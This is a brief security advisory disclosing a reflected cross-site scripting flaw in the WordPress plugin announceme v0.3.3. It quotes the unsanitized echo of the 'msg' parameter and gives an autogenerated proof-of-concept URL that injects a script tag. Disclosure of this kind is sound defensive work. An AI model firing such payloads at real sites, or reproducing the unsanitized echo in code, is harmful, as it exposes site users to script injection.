Advisory #: 585
Title: Reflected XSS in wordpress plugin announceme v0.3.3
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/announceme
Downloads: 1685
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: announceme
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./announceme/announceme.php: 137: <p><?php echo $_GET['msg']; ?></p> The variable msg appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./announceme/announceme.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/announceme/announceme.php?msg="><script>alert(1);</script><"